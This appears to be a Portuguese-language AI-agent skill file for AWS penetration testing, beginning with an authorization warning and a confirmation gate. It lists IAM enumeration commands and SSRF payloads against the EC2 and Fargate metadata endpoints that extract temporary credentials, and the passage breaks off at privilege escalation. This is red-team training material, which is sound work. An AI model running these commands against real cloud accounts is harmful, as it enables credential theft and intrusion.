⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

1. Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

Teste de Penetração AWS

Propósito

Fornecer técnicas abrangentes para testes de penetração em ambientes de nuvem AWS. Abrange enumeração de IAM, escalonamento de privilégios, SSRF para endpoint de metadados, exploração de bucket S3, extração de código Lambda e técnicas de persistência para operações de equipe vermelha.

Entradas/Pré-requisitos

• AWS CLI configurado com credenciais
• Credenciais AWS válidas (mesmo de baixo privilégio)
• Compreensão do modelo AWS IAM
• Python 3, biblioteca boto3
• Ferramentas: Pacu, Prowler, ScoutSuite, SkyArk

Saídas/Entregas

• Caminhos de escalonamento de privilégios do IAM
• Credenciais e segredos extraídos
• Recursos EC2/Lambda/S3 comprometidos
• Mecanismos de persistência
• Achados de auditoria de segurança

Ferramentas Essenciais

Fluxo de Trabalho Principal

Etapa 1: Enumeração Inicial

Identifique a identidade e as permissões comprometidas:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Etapa 2: Enumeração de IAM

# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Etapa 3: SSRF de Metadados (EC2)

Explore SSRF para acessar o endpoint de metadados (IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

Para IMDSv2 (token necessário):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Credenciais de Contêiner Fargate:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

Técnicas de Escalonamento de Privilégios

Permissões de Shadow Admin

Essas permissões são equivalentes a administrador:

…